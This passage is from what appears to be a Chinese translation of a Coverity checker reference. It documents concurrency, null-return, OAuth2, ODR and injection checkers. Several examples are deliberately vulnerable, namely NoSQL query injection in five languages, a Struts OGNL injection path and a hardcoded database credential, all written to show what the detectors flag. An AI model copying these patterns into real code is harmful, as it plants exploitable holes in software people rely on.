    }

    public long method2() {
        lock(myLock) {
            return myResource; //No NON_STATIC_GUARDING_STATIC defect here.
        }
    }
}

```

下面的示例显示了在静态字段中使用方法级 `MethodImplOptions.Synchronized` 属性的实例方法锁。

```

using System.Runtime.CompilerServices;

class Foo2 {
    private static int refCount = 0;

    [MethodImpl(MethodImplOptions.Synchronized)]
    public void DoStuff() {
        refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
    }
}

```

4.232.2.2. Java

在下面的示例中，分析推断 `refCount` 受 `mutex` 保护。如果多个线程（引用多个 `Foo` 对象）同时调用 `doStuff()`，则在所有线程结束后，`Foo.refCount` 可能具有小于 `doStuff()` 被调用次数的值，或者具有与线程有效序列执行的次数不一致的值。

```

class Foo {
    private static int refCount = 0;
    private Object mutex = new Object();

    public void doStuff() {
        synchronized (mutex) {

```

```

        refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
    }
}
}

```

下面的示例显示了在静态字段中使用方法级 `synchronized` 关键字的实例方法锁。

```

class Foo2 {
    private static int refCount = 0;

    public synchronized void doStuff() {
        refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
    }
}

```

4.232.3. 事件

本部分描述了 `NON_STATIC_GUARDING_STATIC` 检查器生成的一个或多个事件。

- `lock_event` - 为每个锁获取显示锁名称。
- `guarded_access` - 静态字段引用被解引用。

4.233. NOSQL_QUERY_INJECTION

安全检查器

4.233.1. 概述

支持的语言：. C#、Go、Java、JavaScript、Python、PHP

`NOSQL_QUERY_INJECTION` 可查找 NoSQL 查询注入漏洞；当不受控制的动态数据被传递给 NoSQL 数据库应用程序（例如 CouchDB）时，就会产生此类漏洞。然后，此数据被用于构造查询。注入被污染的数据可能会更改查询的目的，这可能会绕过安全检查或执行任意代码。

对于 C#、Java、JavaScript、Python 和 PHP，默认禁用 `NOSQL_QUERY_INJECTION`。要启用此检查器，请使用 `cov-analyze` 命令的 `--enable` 选项。

对于 Go，默认启用 `NOSQL_QUERY_INJECTION`。

Web 应用程序安全检查器启用：要启用 `NOSQL_QUERY_INJECTION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

4.233.2. 缺陷剖析

`NOSQL_QUERY_INJECTION` 缺陷说明了不可信（被污染）数据源用于构造数据库查询的数据流路径。该数据流路径从不可信数据源开始，例如从 HTTP 请求获取输入。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。数据流路径的最终部分表示数据库查询中使用的被污染字符串。

4.233.3. 示例

本部分提供了一个或多个 NOSQL_QUERY_INJECTION 示例。

4.233.3.1. C#

```
using System.Web;
using CassandraSharp;

class NoSqlQueryInjection {

    void Example(WebRequest Request, ICqlCommand Command) {
        // Reading a user-controllable HTTP parameter
        string Query = Request["QueryString"];

        // Executing an untrusted NOSQL query command
        Command.Execute<string>(Query); // NOSQL_QUERY_INJECTION defect
    }
}
```

4.233.3.2. Go

下面的示例显示了一个 NOSQL_QUERY_INJECTION 缺陷，该缺陷是由连接 HTTP 请求中的数据所创建的查询引起的。

```
package main

import (
    "net/http"
    "github.com/go-redis/redis"
)

func NoSqlInjection(req http.Request) {
    client := redis.NewClient(&redis.Options{
        Addr:      "localhost:6379",
        Password: "",
        DB:        0,
    })
    query := "return {key," + req.URL.Query().Get("val") + "}"
    vals, err := client.Eval(query, nil).Result() // NOSQL_QUERY_INJECTION defect
}
```

4.233.3.3. Java

在下面的示例中，参数 query 被污染。该参数被连接到查询字符串。然后，此查询被传递给 ExecutionEngine.execute（此检查器的数据池）。

```
public void executeQuery(String query) {
    ...
}
```

```
String fullQuery = "start n=node(*) where n.name = '" + query
    + "' return n, n.name" );
ExecutionEngine engine = new ExecutionEngine();
ExecutionResult result = engine.execute(fullQuery);
...
}
```

攻击者可以通过插入单引号更改查询的目的。在执行插入后，攻击者可以添加其他语法以返回其他节点，或访问未经授权的数据。

4.233.3.4. JavaScript

下面的代码示例说明了使用 Express 框架的易受攻击 Node.js Web 应用程序。它使用来自用户的输入进入 MongoDB 查询：

```
var MongoClient = require('mongodb').MongoClient;

var express = require('express');
var app = express();

var url = 'mongodb://localhost:27017/mapReduceDB';

app.get('/summary', function(req, res) {
    console.log(req.query.n);
    MongoClient.connect(url, function(err, db) { // NOSQL_QUERY_INJECTION defect
        var collection = db.collection('sourceData');
        collection.find( {$where: req.query.n} );
    });
    res.sendStatus('Status:' + 1);
});

app.listen(3000, function() {console.log('Listening ')});
```

4.233.3.5. PHP

在下面的示例中，PHP 程序从 URL 参数中提取值，并将该值直接提供给查询：这构成了 NOSQL 注入缺陷。

```
<?php

$manager = new
\MongoDB\Driver\Manager("mongodb://admin:adim@localhost:27017");
$query = new MongoDB\Driver\Query([ 'name' => $_GET['name']]);

$result = $manager->executeQuery('db', $query);

?>
```

4.233.4. 选项

本部分描述了一个或多个 NOSQL_QUERY_INJECTION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `NOSQL_QUERY_INJECTION:distrust_all:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此选项设置为 `true` 等同于将此检查器的所有 `trust_*` 检查器选项设置为 `false`。默认值为 `NOSQL_QUERY_INJECTION:distrust_all:false`。

如果将 cov-analyze 命令的 `--webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

- `NOSQL_QUERY_INJECTION:trust_command_line:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此选项设置为 `false` 会导致分析将命令行参数视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_command_line:true`。设置此检查器选项会覆盖全局 `--trust-command-line` 和 `--distrust-command-line` cov-analyze 命令行选项。
- `NOSQL_QUERY_INJECTION:trust_console:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自控制台的数据视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_console:true`。设置此检查器选项会覆盖全局 `--trust-console` 和 `--distrust-console` cov-analyze 命令行选项。
- `NOSQL_QUERY_INJECTION:trust_cookie:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_cookie:false`。设置此检查器选项会覆盖全局 `--trust-cookie` 和 `--distrust-cookie` cov-analyze 命令行选项。
- `NOSQL_QUERY_INJECTION:trust_database:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自数据库的数据视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_database:true`。设置此检查器选项会覆盖全局 `--trust-database` 和 `--distrust-database` cov-analyze 命令行选项。
- `NOSQL_QUERY_INJECTION:trust_environment:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自环境变量的数据视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_environment:true`。设置此检查器选项会覆盖全局 `--trust-environment` 和 `--distrust-environment` cov-analyze 命令行选项。
- `NOSQL_QUERY_INJECTION:trust_filesystem:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自文件系统的数据视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_filesystem:true`。设置此检查器选项会覆盖全局 `--trust-filesystem` 和 `--distrust-filesystem` cov-analyze 命令行选项。
- `NOSQL_QUERY_INJECTION:trust_http:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_http:false`。设置此检查器选项会覆盖全局 `--trust-http` 和 `--distrust-http` cov-analyze 命令行选项。
- `NOSQL_QUERY_INJECTION:trust_http_header:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_http_header:false`。设

置此检查器选项会覆盖全局 `--trust-http-header` 和 `--distrust-http-header cov-analyze` 命令行选项。

- `NOSQL_QUERY_INJECTION:trust_network:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自网络的数据视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_network:false`。设置此检查器选项会覆盖全局 `--trust-network` 和 `--distrust-network cov-analyze` 命令行选项。
- `NOSQL_QUERY_INJECTION:trust_rpc:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_rpc:false`。设置此检查器选项会覆盖全局 `--trust-rpc` 和 `--distrust-rpc cov-analyze` 命令行选项。
- `NOSQL_QUERY_INJECTION:trust_system_properties:<boolean>` - [仅限 Go、JavaScript、PHP、Python] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自系统属性的数据视为被污染。默认值为 `NOSQL_QUERY_INJECTION:trust_system_properties:true`。设置此检查器选项会覆盖全局 `--trust-system-properties` 和 `--distrust-system-properties cov-analyze` 命令行选项。

4.233.5. 模型

使用 `cov-make-library`，您可以使用以下 Coverity Analysis 原语为 `NOSQL_QUERY_INJECTION` 创建自定义模型。

4.233.5.1. Go

在 Go 中，原语在程序包 `synopsys.com/coverity-primitives/primitives` 中定义，并使用 `Interface` 作为参数；例如：

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_nosql_function(data interface{}) {
    NoSqlSink(data);
}
```

如果 `injecting_into_nosql_function()` 的参数来自不可信来源，`NoSqlSink()` 原语将指示 `NOSQL_QUERY_INJECTION` 报告缺陷。

4.234. NULL_RETURNS

质量检查器

4.234.1. 概述

支持的语言：. C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C+ +、TypeScript、VB.NET

NULL_RETURNS 查找可能导致程序终止或运行时异常的错误。

有时，开发人员并不测试函数返回值，而是通过可能存在危险的方式使用返回的值。返回 `null` 指针的每个函数必须先进行 `null` 检查，然后才会被视为可安全使用。不检查 `null` 检查指针返回值可能由于 `null` 解引用而导致崩溃。

对于 C/C++（以及 Objective-C/C++），此检查器可查找指针或引用被检查是否为 `null` 且之后被解引用的很多情况。该检查器适用两种不同的标准：具有用户模型的函数始终需要检查，其他可按统计处理。默认情况下，如果 80% 的未建模函数/方法调用返回执行了 `null` 指针值检查，此检查器会将剩余的 20% 标识为缺陷。请参阅 `stat_threshold` 选项以更改默认值。

对于 Java 和 C#，该检查器的行为与对 C/C++ 语言的行为一样。

对于 JavaScript 或 TypeScript，此检查器可查找以下许多情况：检查值是否为 `null` 或 `undefined`，然后被用作对象（即，通过访问它的其中一个属性）或函数（即，通过调用它）。返回 `null` 或 `undefined` 的每个函数必须先进行 `null` 或 `undefined` 检查，然后才能被视为可安全地用作对象或函数。不检查 `null` 或未定义返回值可能导致运行时异常。默认情况下，如果 80% 的函数调用返回执行了 `null` 或未定义值检查，此检查器会将剩余的 20% 标识为缺陷。请参阅 `stat_threshold` 选项以更改默认值。

对于不同的语言，在默认选项设置上存在一些细微差别。有关详情，请参阅 Chapter 3。

默认启用： `NULL_RETURNS` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

Android (仅限 Java)： 对于基于 Android 的代码，此检查器 查找与用户活动、屏幕活动、应用程序状态以及其他项目相关的问题。可

4.234.2. 示例

本部分提供了一个或多个 `NULL_RETURNS` 示例。

4.234.2.1. C/C++

```
void bad_malloc() {
    // malloc returns NULL on error
    struct some_struct *x = (struct some_struct*) malloc(sizeof(*x));
    // ERROR: memset dereferences possibly null pointer x
    memset(x, 0, sizeof(*x));
}
```

4.234.2.2. C#

```
public object CanReturnNull(bool condition)
{
    if (condition)
        return new object();
    return null;
}
```

```
public void PossibleNullDereference(bool condition)
{
    object data = CanReturnNull(condition);
    Console.WriteLine(data.ToString());
}
```

4.234.2.3. Go

在下面的示例中，最终语句返回了一个缺陷。

```
type Config struct {
    host string
    port int
    setup bool
}

func CanReturnNullv(condition bool) *Config {
    if condition {
        return &Config{"host", 80, false}
    }
    return nil
}

func handle_err() {}

func checked_retv_1(condition bool) {
    rv := CanReturnNullv(condition)
    if rv == nil {
        handle_err()
    }
}

func checked_retv_2(condition bool) {
    rv := CanReturnNullv(condition)
    if rv == nil {
        handle_err()
    }
}

func checked_retv_3(condition bool) {
    rv := CanReturnNullv(condition)
    if rv == nil {
        handle_err()
    }
}

func checked_retv_4(condition bool) {
    rv := CanReturnNullv(condition)
    if rv == nil {
```

```
        handle_err()
    }

func not_checked_retv(condition bool) {
    CanReturnNullv(condition).port = 8000
}
```

4.234.2.4. Java

```
public class NullReturnsExample1 {
    static int count = 0;

    public static Object returnA() {
        return null;
    }
    public static Object returnB() {
        return new Object();
    }
    public static void testA() {
        // This demonstrates a very straightforward null-return bug
        returnA().toString();
    }
    public static void testB() {
        // no bug here
        returnB().toString();
    }
}
```

4.234.2.5. JavaScript

```
function getName(userInput) {
    var pos = userInput.indexOf("name:");
    if (pos >= 0) {
        return userInput.substring(pos + "name:".length);
    }
    // This function can return null
    return null;
}

function checkedExample(userInput) {
    var name = getName(userInput);
    // Name is checked against null
    if (name) {
        console.log("name: " + name);
    }
}

function uncheckedExample(userInput) {
    var name = getName(userInput);
    // Name can be null here
}
```

```

        return name.substring(0,8);
}

```

4.234.2.6. VB.NET

下面的代码显示了可能导致 NULL_RETURNS 缺陷的代码。将针对 Dim data As Object 赋值返回此缺陷。

```

Public Class NullReturns
    Public Function CanReturnNull(ByVal condition As Boolean) As Object
        If condition Then
            Return New Object()
        End If
        Return Nothing
    End Function

    Public Sub PossibleNullDereference(ByVal condition As Boolean)
        Dim data As Object = CanReturnNull(condition)
        Console.WriteLine(data.ToString())
    End Sub
End Class

```

4.234.3. 选项

本部分描述了一个或多个 NULL_RETURNS 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- NULL_RETURNS:allow_unimpl: boolean - 此选项报告未检查、未实现的函数（仅相对于已知返回 null 的函数）。默认值为 NULL_RETURNS:allow_unimpl:false（所有适用语言；不适用于 Go、JavaScript、TypeScript。）

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium（或 high），则该检查器选项会自动设置为 true。

C# 示例：

```

public extern object CanReturnNullUnimpl(bool condition);

public void AllowUnimpl(bool condition)
{
    Object data = CanReturnNullUnimpl(condition);
    Console.WriteLine(data.ToString());
}

public void InferCanReturnNull(bool condition)
{
    if (CanReturnNullUnimpl(condition) == null) { /* ... */ }
    if (CanReturnNullUnimpl(condition) == null) { /* ... */ }
    if (CanReturnNullUnimpl(condition) != null) { /* ... */ }
}

```

```
    if (CanReturnNullUnimpl(condition) != null) { /* ... */ }
```

- `NLL_RETURNS:allow_unimpl_and_unchecked: boolean` - 此选项仅与 `allow_unimpl` 选项相关。如果被设置为 `true`，它允许 `NLL_RETURNS` 在解引用未实现函数的结果时报告，即使对该函数的调用都没有检查返回值是否为 `null`。以前，如果统计参数允许，将始终报告这些情况；现在，如果没有该选项，则将不会报告这些情况，除非检查了至少一个调用。默认值为 `NLL_RETURNS:allow_unimpl_and_unchecked:false`（所有适用语言；不适用于 Go、JavaScript、TypeScript。）
- `NLL_RETURNS:null_fields_config_file: path-to-config-file` - 此选项允许用户指定配置文件，并在读取时调用任何应该被认为是 `null` 的字段。

例如，指定字段为 `null` 的 `.json` 配置文件应如下所示：

```
[  
  {  
    scope : ["NameSpace", "Class"],  
    field: "nullField"  
  }  
]
```

`scope` 是包含所有名称空间和类名称的一系列字符串。在模板类的情况下，会忽略模板参数。

这将允许将此报告为程序缺陷：

```
namespace NameSpace {  
class Class {  
    int *nullField;  
    void test() {  
        *nullField = 0; // Error, dereferencing potentially null field "nullField"  
    }  
}
```

下面是一个设置全局命名空间的示例。如果类/结构位于全局命名空间中，只需将其名称用作范围列表中的第一条即可。

```
[  
  {  
    scope: ["my_favorite_struct"],  
    field: "nullField"  
  },  
  
  {  
    scope: ["Class"],  
    field: "nullField"  
  },  
  
  {  
    scope: ["NameSpace", "Class2"],  
    field: "nullField"  
  },
```

```
}
```

- `NULL_RETURNS:stat_bias:<number>` - 此选项用于指定要添加到检查计数中的数值，检查器据此针对不经常出现在程序中的函数报告缺陷。此选项的值和 `stat_threshold` 选项影响检查器用于确定缺陷的计算（有关详情，请参阅 `stat_threshold`）。默认值为 `NULL_RETURNS:stat_bias:0`（适用于 C、C++、Objective-C、Objective-C++、Go）。默认值为 `NULL_RETURNS:stat_bias:3`（适用于 C#、Java、VB.NET）。默认值为 `NULL_RETURNS:stat_bias:1`（适用于 JavaScript 和 TypeScript）。

如果 `cov-analyze` 的 `--aggressiveness-level` 选项被设置为 `medium`（或 `high`），此检查器选项会被自动设置为 `10`。

例如，使用

```
> cov-analyze -co NULL_RETURNS:stat_bias:5
```

增加针对不经常出现在程序中的函数发现的缺陷数。

- `NULL_RETURNS:stat_include_max_checked:boolean` - 此 C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、TypeScript 选项在启用时会导致检查器报告缺陷，即使已检查函数的每个实例的返回值。

默认值为 `NULL_RETURNS:stat_include_max_checked:true`（适用于 C/C++、C#、Go、Java 和 VB.NET）。

默认值为 `NULL_RETURNS:stat_include_max_checked:false`（适用于 JavaScript 和 TypeScript）。

如果 `cov-analyze` 的 `--aggressiveness-level` 选项被设置为 `medium` 或更高，此选项会被自动设置为 `true`。

- `NULL_RETURNS:stat_min_checked: number` - 此 C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、TypeScript 选项设置调用位置（必须检查其值以进行统计分析，从而推断该函数必须始终检查其返回值）的最少数量。默认值为 `NULL_RETURNS:stat_min_checked:0`（适用于 C、C#、C++、Go、Java、Objective-C、Objective-C++、VB.NET）。默认值为 `NULL_RETURNS:stat_min_checked:1`（适用于 JavaScript 和 TypeScript）。

如果 `cov-analyze` 的 `--aggressiveness-level` 选项被设置为 `medium`（或 `high`），此检查器选项会被自动设置为 `0`。

- `NULL_RETURNS:stat_threshold: percentage` - 此 C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、TypeScript 选项设置调用位置（必须检查其值以便进行统计分析，从而推断该函数或方法必须始终检查其返回值）的百分比。默认值为 `NULL_RETURNS:stat_threshold:80`（适用于所有语言）。

如果检查的使用次数和 `stat_bias` 选项值的总和大于或等于 (\geq) 总使用次数乘以 `stat_threshold` 选项的值所得的结果（即检查的使用次数 + `stat_bias` \geq 总使用次数 * `stat_threshold`），该检查器会将其标识为缺陷。

如果 cov-analyze 的 --aggressiveness-level 选项被设置为 medium , 此检查器选项会被自动设置为 50 。如果 --aggressiveness-level 选项被设置为 high , 该选项会被设置为 0 。

例如 stat_threshold:85 , 如果函数 85% 或更多的调用位置先检查其返回值是否为 null 然后再使用 , 则 NULL_RETURNS 会将任何使用未首先检查是否为 null 的函数返回值的情况报告为缺陷。如果低于 85% 的调用位置检查返回值 , 则 NULL_RETURNS 不会在未执行检查的位置报告缺陷。

对于 Java ,

```
> cov-analyze -co NULL_RETURNS:stat_threshold:90
```

要求先检查方法 90% 的返回值 , 然后再针对剩余的 10% 报告缺陷。

- NULL_RETURNS:suppress_under_related_conditional:<boolean> - 此选项会抑制被试探性标识为受与被认为返回 null 的调用相关的条件控制的缺陷报告。默认值为 NULL_RETURNS:suppress_under_related_conditional:true (C#、C、C++、Java、Objective-C、Objective-C++、VB.NET) 。不适用于 Go、JavaScript 或 TypeScript。

如果 cov-analyze 的 --aggressiveness-level 选项被设置为 medium (或 high) , 此检查器选项会被自动设置为 false 。

此选项设置为 true 时 , 会减少以下样式的误报缺陷报告 : "if <something guaranteeing foo(x) returns non-null>) dereference(foo(x)); "

4.234.4. 模型和注解

请注意 , 在创建模型之前 , 必须先检查来自任何采取显式建模以返回 null 的函数或方法的返回值 , 然后才能将其视为可安全使用。该检查器不会将其统计分析应用到此类函数。

4.234.4.1. C/C++ 模型

一般说来 , 关于以下情况的不正确推断可能导致误报 :

- 函数可能返回 null 指针。
- 函数调用解引用被认为是 null 的指针。
- 代码中的路径可执行。

要解决前两种误报 , 您可以针对 C/C++ NULL_RETURNS 检查器为此函数建模 :

```
void* my_null_return(unsigned int val)
{
    void* ptr = NULL;
    if (val & 0xFFFFFFFF0) {
        return NULL;
    }
    // val is <= 15. Try to allocate until success.
```

```
while (!ptr) ptr = malloc(val * sizeof(void*));
return ptr;
}
```

此函数的抽象行为是，当 `val` 小于 16 时，会返回非 `null` 指针。当 `val` 大于 15 时，会返回 `NULL`。由于 Coverity Analysis 目前无法足够准确地跟踪位运算以了解此函数，因此需要提供以下抽象模型，以指明该函数的正确行为：

```
void* my_null_return(unsigned int val)
{
    void* ptr;
    assert(ptr != NULL);
    if (val > 15)
        return NULL;
    return ptr;
}
```

显而易见，对于所有小于 16 的值，将返回非 `null` 指针；对于所有大于 15 的值，将返回 `null` 指针。使用 `cov-make-library` 命令以及此函数将正确的行为告知分析程序。

如果分析程序错误地确定函数调用解引用了指针，则您可以为调用函数的抽象行为进行正确建模，以便了解解引用指针时依据的确切条件。此处省略了示例，因为 `stub` 函数采用与之前示例相同的模式。

如果误报是由于不可达的执行路径或仅适用于代码中特定点的环境导致的，则最佳抑制方法是使用 `// coverity` 注释。



Note

必须先检查来自任何采取显式建模以返回 `null` 的函数的返回值，然后才能将其视为可安全使用。

4.234.4.2. Java 注解

`Java NULL_RETURNS` 检查器会查找 `CheckForNull` 注解；您可以将此类注解添加到类和方法中以强制执行该检查，验证是否对返回值进行了 `null` 检查。

例如，下面的示例说明了如何注解 `returnMaybeNull()` 类，以便 `NULL_RETURNS` 检查返回值是否为 `null`：

```
import com.coverity.annotations.CheckForNull;
....
@CheckForNull
public Object returnMaybeNull() {
    String s = "thouueouh";
    if (s.equals(new Object().toString()))
        return null;
    return s;
}
```

有关详细信息，请参阅 `<install_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html` 上的 Section 5.4.2，“添加 Java 注解以提高准确度” 和 Javadoc 文档。

4.234.5. 事件

本部分描述了 NULL_RETURNS 检查器生成的一个或多个事件。

- `alias` - [C# 和 Java] 可能为 null 的引用被赋值给另一个引用，因此将创建别名。
`alias` - [JavaScript、TypeScript] 指定可能为 null 的值或未定义的值。
- `call` - [JavaScript、TypeScript] 调用可能为 null 的值或未定义的值，或者将可能为 null 的值或未定义的值传递给访问该值属性或调用该值的函数。
- `dereference` - 对于 C/C++ 和 Go，可能为 null/nil 的指针被传递给解引用该指针的函数，或者可能为 null/nil 的指针被直接解引用。对于 C# 和 Java，可能为 null 的引用被传递给解引用该指针的函数，或者可能为 null 的引用被直接解引用。
- `identity` - 可能为 null 的指针（或 null 引用）被传递给未修改该指针（或引用）并将其重新返回给调用函数的函数（或方法）。
- `identity_transfer` - [JavaScript、TypeScript] 将可能为 null 的值或未定义的值传递给返回该值的函数。
- `returned_null` - [仅限 C/C++] 函数可能会返回 null 指针。
- `var_assigned` - 变量被指定给返回值、函数或方法，而且该值可能为 null 指针或 null 引用。
- `null_array_access` - [C# 和 Java] 访问 null 数组的元素。
- `null_array_length` - [C# 和 Java] 访问 null 数组的长度。
- `null_field_access` - [C# 和 Java] 访问 null 对象的字段。[Go] 访问 nil 对象的字段。
- `null_inner_new` - [Java] 创建 null 对象的内部类。
- `null_method_call` - [C# 和 Java] 调用 null 对象中的方法。
- `null_synchronized` - [C# 和 Java] 同步 null 对象。
- `null_throw` - [C# 和 Java] 抛出 null 异常。
- `null_unbox` - [C# 和 Java] 拆箱 (unboxing) null 对象。
- `null_unwrap` - [C# 和 Java] 解包 null 对象。
- `property_access` - [JavaScript、TypeScript] 访问可能为 null 的值或未定义的值的属性。
- `returned_null` - [C#、Java] 函数可能会返回 null 引用。
`returned_null` - [Go] 函数可能会返回 nil 指针。
`returned_null` - [JavaScript、TypeScript] 返回可能为 null 的值或未定义的值。

- var_assign - [JavaScript、TypeScript] 将变量赋值给函数可能为 null 的或未定义的返回值。

4.235. OAUTH2_MISCONFIGURATION

安全性

4.235.1. 概述

支持的语言： Go

OAUTH2_MISCONFIGURATION 报告调用函数 `oauth2.Config.PasswordCredentialsToken()` 以将资源所有者的密码凭据交换为 OAuth2 访问令牌、向应用程序公开凭据并从范围验证过程中删除资源所有者的情况。

4.235.2. 示例

本部分提供了一个或多个 OAUTH2_MISCONFIGURATION 示例。

在下面的示例中，针对调用 `oauth2.Config.PasswordCredentialsToken()` 函数显示了 OAUTH2_MISCONFIGURATION 缺陷。

```
package main

import (
    "context"
    "log"
    "golang.org/x/oauth2"
)

func getToken(email string, passwd string) {
    ctx := context.Background()
    conf := &oauth2.Config{
        ClientID:      "CLIENT_ID",
        ClientSecret:  "CLIENT_SECRET",
        Endpoint: oauth2.Endpoint{
            AuthURL:   "https://accounts.iotinabox.com/auth/realms/iotinabox/protocol/
openid-connect/auth",
            TokenURL:  "https://accounts.iotinabox.com/auth/realms/iotinabox/protocol/
openid-connect/token",
        },
    }
    token, err := conf.PasswordCredentialsToken(ctx, email, passwd) // defect here
    if err != nil {
        log.Fatal("Could not get Token")
    }
    log.Print(token)
}
```

4.236. ODR_VIOLATION

4.236.1. 概述

支持的语言：. C++

ODR_VIOLATION 检查器报告违反 C++ 一个定义规则 (ODR) 的情况。基于 MISRA C++-2008 Rule 3-2-2 规则实现，它侧重于 ODR 违规，这些违规发生在允许多个定义但必须定义相同的情况。

ODR_VIOLATION 检查器默认禁用。

4.236.2. 示例

本部分提供了一个或多个 ODR_VIOLATION 示例。下面的多个定义会触发 ODR_VIOLATION 缺陷。

```
// TU1
class ODRBad { //ODR_VIOLATION
    int x;
};

// TU2
class ODRBad { //ODR_VIOLATION
    short x;
};
```

以下代码还触发 ODR_VIOLATION 缺陷。if 子句引用一个静态对象。

```
static Pattern sharedPattern;
template<typename T> void odrFunction(T store, const Expression *expr) { // ODR_VIOLATION
    if(sharedPattern.match(expr)) {
        store->insert(sharedPattern, 0);
    }
}
```

4.236.3. 选项

本部分描述了一个或多个 ODR_VIOLATION 选项。

- ODR_VIOLATION:report_typedefs:(boolean, default: false - 如果设置为 true , typedefs 将被视为受 ODR 约束。在实际的 C++ 中，typedefs 没有链接，但是 MISRA 规则要求这样，这可能被认为有助于代码一致性。)

4.237. OGNL_INJECTION

安全检查器

4.237.1. 概述

支持的语言：. Java

OGNL_INJECTION 查找对象图导航语言 (OGNL) 注入漏洞；当不受控制的动态数据被传递给 OGNL 评估 API 时，就会产生此类漏洞。除了执行与 Java 表达式语言 (EL) 所执行函数类似的语言函数之外，OGNL 还可以执行任意 Java 代码。

默认禁用：OGNL_INJECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 OGNL_INJECTION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.237.2. 示例

本部分提供了一个或多个 OGNL_INJECTION 示例。

在下面的示例中，Struts 2 入口点 UIAction 使用 GETTERS_AND_SETTERS 污染类型污染了 this。（此信息由框架配置提供，未在示例中显示。）因此，字段 pageTitle 被视为已污染。然后，该被污染的字段流入 ActionSupport.getText（此检查器的数据消费者）。

```
public abstract class UIAction extends ActionSupport {  
    private String pageTitle;  
    ...  
    public String getPageTitle() {  
        return getText(pageTitle);  
    }  
    public void setPageTitle(String pageTitle) {  
        this.pageTitle = pageTitle;  
    }  
    ...  
}
```

攻击者可以通过 HTTP 参数 ?pageTitle 指定 pageTitle 并将其值设置为 OGNL 语句。然后，此语句被允许实例化任意 Java 类的 OGNL 评估解译。这允许攻击者远程执行任意代码。

4.237.3. 事件

本部分描述了 OGNL_INJECTION 检查器生成的一个或多个事件。

- sink - (主要事件) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

数据流事件

- member_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint_alias - 为被污染的对象设置了别名。

- `taint_path` - 将被污染的值赋值给本地变量。
- `taint_path_arg` - 将被污染的值作为方法的参数。
- `taint_path_attr` - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- `taint_path_call` - 此方法调用返回被污染的值。
- `taint_path_field` - 将被污染的值赋值给一个字段。
- `taint_path_map_read` - 从映射中读取被污染的值。
- `taint_path_map_write` - 将被污染的值写入映射。
- `taint_path_param` - 调用方将被污染的参数作为参数传递给此方法。
- `taint_path_return` - 当前方法返回被污染的值。
- `tainted_source` - 被污染值所起源的方法。

4.238. OPEN_ARGS

质量、安全检查器

4.238.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

OPEN_ARGS 可查找通过未指定的权限创建文件的情况。特别是，POSIX `open()` 函数可能使用两个或三个参数。当打开标记包括 `O_CREAT` 时，应该使用三参数的形式。该检查器会报告对 `O_CREAT` 使用两参数形式的情况，因为在该情况下，文件权限未指定并且将会无法预测。

`open()` 系统调用将路径名称转换为文件描述符。您可以将标记传递给 `open()`，它可以指定各种选项，包括文件的访问权限（读取/写入、只读或只写），是否在其不存在时创建文件（`O_CREAT`）以及是否可以向文件追加内容。

如果您通过 `O_CREAT` 选项调用 `open()`，则为了安全起见，您还应该传递显式设置文件权限的参数（模式参数）。

默认禁用：OPEN_ARGS 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

